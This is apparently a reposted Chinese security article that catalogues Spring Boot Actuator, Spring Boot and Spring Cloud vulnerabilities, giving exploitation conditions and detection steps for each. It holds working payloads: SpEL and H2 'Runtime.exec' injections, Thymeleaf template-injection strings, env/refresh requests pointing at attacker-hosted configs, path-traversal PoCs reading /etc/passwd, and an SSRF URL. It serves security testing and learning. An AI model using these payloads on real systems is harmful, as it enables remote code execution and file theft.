前言
现在的 java 开发的网站十个里面有九个是 spring 写的。网上对 spring 相关漏洞的资料很多,但是总结的文章却很少,再加上 spring 庞大的生态,每当看到 spring 相关网站的时候,脑子里虽然零零散散冒出来一堆漏洞,但是却不知道该从哪里下手。
因此搜集了所有 spring 相关漏洞,对它们的利用条件和检测方式进行梳理和总结,希望在面对 spring 的时候能够有一个更完整的思路。
这里更多是的是的利用条件和检测方式的总结,主要以发现漏洞为目的,至于如何将漏洞效果最大化这里不做过多介绍,网上资料很多,直接查对应文章即可。
此合集由于内容较多,分为上下两部分。
上半部分内容:
-
Spring Boot Actuator 相关漏洞 -
Sping Boot相关漏洞 -
Spring Cloud相关漏洞
下半部分内容:
-
Spring Data相关漏洞 -
Spring Framework相关漏洞 -
Spring Security相关漏洞 -
Spring WebFlow相关漏洞
本文章内容皆由互联网已公开内容整理而成,且仅用于学习交流使用,禁止用于非法用途!!
Spring Boot Actuator 相关漏洞
主要参考文章了https://github.com/LandGrey/SpringBootVulExploit 这篇文章,重新梳理了文章内容并补充了一些新的内容,公众号不能引入外链,这里记录一下利用条件,具体利用方法访问这篇文章查看
利用条件是目标开启了 springboot 的 Actuator 的相关接口
-
Spring Boot < 1.5 默认未授权访问所有端点 -
Spring Boot >= 1.5 默认只允许访问/health 和/info 端点,但是此安全性通常被应用程序开发人员禁用
Actuator 信息泄漏问题
一、路由地址及接口调用详情泄漏
主要是 swagger 的相关路由,可能泄漏所有的接口及接口参数。
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
二、配置不当泄漏的路由
主要是actuator
的相关接口
其中对寻找漏洞比较重要的接口有:
-
/env
、/actuator/env
GET 请求 /env
会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不规范,例如 password 写成 psasword、pwd 时,会泄露密码明文;
同时有一定概率可以通过 POST 请求 /env
接口设置一些属性,间接触发相关 RCE 漏洞;同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。
-
/refresh
、/actuator/refresh
POST 请求 /env
接口设置属性后,可同时配合 POST 请求 /refresh
接口刷新属性变量来触发相关 RCE 漏洞。
-
/restart
、/actuator/restart
暴露出此接口的情况较少;可以配合 POST 请求 /env
接口设置属性后,再 POST 请求 /restart
接口重启应用来触发相关 RCE 漏洞。
-
/jolokia
、/actuator/jolokia
可以通过 /jolokia/list
接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。
-
/trace
、/actuator/httptrace
一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户或管理员的 cookie、jwt token 等信息。
三、env 中星号脱敏方法
「方法一」
「利用条件」
-
存在 /heapdump
「利用方法」
使用 MAT 直接内存读取,具体可参考 https://landgrey.me/blog/16/
「方法二」
「利用条件」
-
通过 POST /env
设置属性触发目标对外网指定地址发起任意 http 请求 -
可以 POST 请求目标网站的 /refresh
接口刷新配置 -
目标可以请求攻击者的服务器(请求可出外网)
「利用方法」
spring.cloud.bootstrap.location
方法(「同时适用于」明文数据中有特殊 url 字符的情况)
eureka.client.serviceUrl.defaultZone
方法(「不适用于」明文数据中有特殊 url 字符的情况)
「方法三」
「利用条件」
-
可以 GET 请求目标网站的 /env
-
可以 POST 请求目标网站的 /env
-
可以 POST 请求目标网站的 /refresh
接口刷新配置(存在spring-boot-starter-actuator
依赖) -
目标使用了 spring-cloud-starter-netflix-eureka-client
依赖 -
目标可以请求攻击者的服务器(请求可出外网)
「方法四」
「利用条件」
-
目标网站存在 /jolokia
或/actuator/jolokia
接口 -
目标使用了 jolokia-core
依赖(版本要求暂未知)
Actuator env+refresh 造成的命令执行
❝
这部分漏洞利用的大前提条件是存在
/env
接口和/refresh
接口❞
一、环境属性覆盖命令执行(SnakeYAML RCE)
「影响范围」
-
Spring Boot <= 1.4 -
Spring Boot 1.5.x (Dalston 版本) -
Spring cloud 版本范围:Spring cloud < 1.3.0.RELEASE
「组件要求」 spring-cloud-starter && spring-boot-starter
「利用条件」
-
可以 POST 请求目标网站的 /env
接口设置属性 -
可以 POST 请求目标网站的 /refresh
接口刷新配置(存在spring-boot-starter-actuator
依赖) -
目标依赖的 spring-cloud-starter
版本 < 1.3.0.RELEASE -
目标可以请求攻击者的 HTTP 服务器(请求可出外网)
「验证方式」
验证漏洞是否存在直接使用 dnslog 地址,有 dnslog 请求即可。
步骤一 设置属性
POST /env HTTP/1.1
Host: localhost:61234
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
Connection: close
spring.cloud.bootstrap.location=http://springenv.xxxx/yaml-payload.yml
步骤二 刷新配置
POST /refresh HTTP/1.1
Host: localhost:61234
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
步骤三 查看 dnslog 有请求
二、eureka XStream 反序列化
「利用条件」
-
Eureka-Client <1.8.7(多见于 Spring Cloud Netflix)
「漏洞验证」
验证漏洞是否存在与上一个漏洞类似,直接使用 dnslog 地址,有 dnslog 请求即可。
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
eureka.client.serviceUrl.defaultZone=http://x.x.x.x/x
POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
三、mysql jdbc deserialization RCE
「利用条件」
-
可以 POST 请求目标网站的 /env
接口设置属性 -
可以 POST 请求目标网站的 /refresh
接口刷新配置(存在spring-boot-starter-actuator
依赖) -
目标环境中存在 mysql-connector-java
依赖 -
目标可以请求攻击者的服务器(请求可出外网)
「检测方式」
验证方式同上 dnslog 检测即可。
POST /env
Content-Type: application/x-www-form-urlencoded
spring.datasource.url=对应属性值
POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Actuator env+restart 造成的命令执行
❝
这部分漏洞利用的大前提条件是存在
/env
接口和/restart
接口「restart 可能造成服务重启失败而挂掉」❞
一、hikari 命令执行(H2 rce)
❝
Spring Boot 2.x 默认使用的 HikariCP 数据库连接池提供了一个可以 RCE 的变量。这个变量就是
spring.datasource.hikari.connection-test-query
。这个变量与 HikariCP 中的connectionTestQuery
配置相匹配。根据文档,此配置定义的是在从池中给出一个连接之前被执行的 query,它的作用是验证数据库连接是否处于活动状态。简言之,无论何时一个恶意的数据库连接被建立时,spring.datasource.hikari.connection-test-query
的值将会被作为一个 SQL 语句执行。然后利用 SQL 语句中的用户自定义函数,进行 RCE。❞
「利用条件」
-
env
可以设置属性 -
restart
接口可以重启
「影响范围」
-
Spring Boot 2.x
「利用方法」
步骤一 env 设置属性
POST /actuator/env HTTP/1.1
Host: xxxx
Connection: close
Content-Type: application/json
Content-Length: 359
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('ping springtest.xxxx');"}
查看 env 发现添加成功
步骤二 重启服务 Content-Type: application/json
POST /actuator/restart HTTP/1.1
Host: xxxx
Connection: close
Content-Type: application/json
Content-Length: 0
步骤三 查看 dnslog
二、logback JNDI RCE
「利用条件」
-
可以 POST 请求目标网站的 /env
接口设置属性 -
可以 POST 请求目标网站的 /restart
接口重启应用 -
普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过 -
⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),「否则 restart 会导致程序异常退出」 -
⚠️ HTTP 服务器如果返回含有畸形 xml 语法内容的文件,会导致程序异常退出 -
⚠️ JNDI 服务返回的 object 需要实现 javax.naming.spi.ObjectFactory
接口,否则会导致程序异常退出
三、logging.config groovy RCE
「利用条件」
-
可以 POST 请求目标网站的 /env
接口设置属性 -
可以 POST 请求目标网站的 /restart
接口重启应用 -
⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出 -
⚠️ HTTP 服务器如果返回含有畸形 groovy 语法内容的文件,会导致程序异常退出 -
⚠️ 环境中需要存在 groovy 依赖,否则会导致程序异常退出
四、spring.main.sources groovy RCE
「利用条件」
-
可以 POST 请求目标网站的 /env
接口设置属性 -
可以 POST 请求目标网站的 /restart
接口重启应用 -
⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出 -
⚠️ HTTP 服务器如果返回含有畸形 groovy 语法内容的文件,会导致程序异常退出 -
⚠️ 环境中需要存在 groovy 依赖,否则会导致程序异常退出
五、spring.datasource.data h2 database RCE
「利用条件」
-
可以 POST 请求目标网站的 /env
接口设置属性 -
可以 POST 请求目标网站的 /restart
接口重启应用 -
环境中需要存在 h2database
、spring-boot-starter-data-jpa
相关依赖 -
⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出 -
⚠️ HTTP 服务器如果返回含有畸形 h2 sql 语法内容的文件,会导致程序异常退出
Actuator 其他组件接口造成的命令执行
一、jolokia logback JNDI RCE
「利用条件」
-
目标网站存在 /jolokia
或/actuator/jolokia
接口 -
目标使用了 jolokia-core
依赖(版本要求暂未知) -
访问 /jolokia/list
接口,查看是否存在ch.qos.logback.classic.jmx.JMXConfigurator
和reloadByURL
关键词。 -
目标可以请求攻击者的 HTTP 服务器(请求可出外网) -
普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过
二、jolokia Realm JNDI RCE
「利用条件」
-
目标网站存在 /jolokia
或/actuator/jolokia
接口 -
目标使用了 jolokia-core
依赖(版本要求暂未知) -
访问 /jolokia/list
接口,查看是否存在type=MBeanFactory
和createJNDIRealm
关键词 -
目标可以请求攻击者的服务器(请求可出外网) -
普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121(RMI),但相关环境可绕过
三、Actuator Gateway API SpEL 表达式注入命令执行漏洞(CVE-2022-22947)
「利用条件」
-
Spring Cloud Gateway < v3.1.1 -
Spring Cloud Gateway < v3.0.7 -
需要存在以下接口 /actuator/gateway/routes/
和/actuator/gateway/refresh
「利用方法」
见 https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/README.zh-cn.md
Springboot漏洞
Whitelabel error page SpEL RCE
2016年爆出的一个漏洞 无cve编号 触发点在SpringBoot的的默认错误页(Whitelabel Error Page
利用条件
-
spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0 -
至少知道一个触发 springboot 默认错误页面的接口及参数名
利用方法
步骤一:找到一个正常传参处
比如发现访问 /article?id=xxx
,页面会报状态码为 500 的错误: Whitelabel Error Page
,则后续 payload 都将会在参数 id 处尝试。
步骤二:执行 SpEL 表达式
输入 /article?id=${7*7}
,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。
参考链接
https://www.cnblogs.com/litlife/p/10183137.html
Spingboot Thymeleaf 模板注入
利用条件
-
不是默认页面也是可以用的,但是使用dnslog的话会有特征字段 -
目前没有看到影响范围 可能所有的都有
参考链接
https://xz.aliyun.com/t/9826
https://www.cnpanda.net/sec/1063.html
漏洞环境
https://github.com/veracode-research/spring-view-manipulation/
漏洞利用
一、在查找模板中,引用了用户输入的内容
@GetMapping("/path")
public String path(@RequestParam String lang) {
return lang ; //template path is tainted
}
payload:需要url编码
/path?lang=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
验证存在的payload
__${1111+2222}__::.x
二、根据spring boot定义
如果controller无返回值,则以GetMapping的路由为视图名称。当然,对于每个http请求来讲,其实就是将请求的url作为视图名称,调用模板引擎去解析
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
}
payload
/doc/__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
表达式注入
H2 database console JNDI RCE
利用条件
-
存在 com.h2database.h2
依赖(版本要求暂未知) -
spring 配置中启用 h2 console spring.h2.console.enabled=true
-
目标可以请求攻击者的服务器(请求可出外网) -
JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP 方式)
漏洞利用
会开启 h2 console 的默认路由 /h2-console
(就是个jndi注入,jdk满足条件即可)
h2-console
页面截图
Spring Cloud漏洞
(CVE-2019-3799)Spring Cloud Config Server 任意文件读取
漏洞影响
-
Spring Cloud Config 2.1.0 to 2.1.1 -
Spring Cloud Config 2.0.0 to 2.0.3 -
Spring Cloud Config 1.4.0 to 1.4.5 -
其他不受支持的老版本 (如Spring Cloud Config1.3及其以下版本)
漏洞复现
配置文件如下
{name}/{profile}/{label}
:name对应仓库名,profile对应配置文件,label为git分支名
poc不需要知道{name}/{profile}
随便填写即可,但是{label}
必须是存在的,master分支一般情况下都会有,所以poc可为
/1/1/master/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
(CVE-2020-5405)Spring Cloud Config Server 任意文件读取
漏洞影响
-
Spring Cloud Config Server 2.2.0-2.2.1 -
Spring Cloud Config Server 2.1.0-2.1.6
poc
https://localhost:8888/1/1/..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)etc/passwd
url编码
https://localhost:8888/1/1/..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29etc/passwd
参考链接
https://xz.aliyun.com/t/8303
(CVE-2020-5410)Spring Cloud Config Server 任意文件读取
漏洞影响
-
2.2.3之前的2.2.x版本 -
2.1.9之前的2.1.x版本
漏洞利用
http://localhost:8888/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%231/1
(CVE-2020-5412)Spring Cloud Netflix Hystrix Dashboard ssrf
Spring Cloud Netflix
漏洞影响
-
Spring Cloud < v2.2.4 -
Spring Cloud < v2.1.6
漏洞利用
http://localhost:8888/proxy.stream?origin=http://www.baidu.com
(CVE-2022-22947)Spring Cloud Gateway Actuator API SpEL表达式注入命令执行漏洞
已在actuator提到过 具体利用见 https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/README.zh-cn.md
(CVE-2022-22963) Spring Cloud Function SpEL Code Injection
影响范围
-
3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
测试环境
本地搭建
漏洞复现
header添加这个即可
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("ping 333.xxx.com")
参考链接
vulhub
https://www.cnblogs.com/9eek/p/16113603.html
整理不易,点个关注吧🙏
往期文章
原文始发于微信公众号(安全小工坊):spring 漏洞合集 上
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论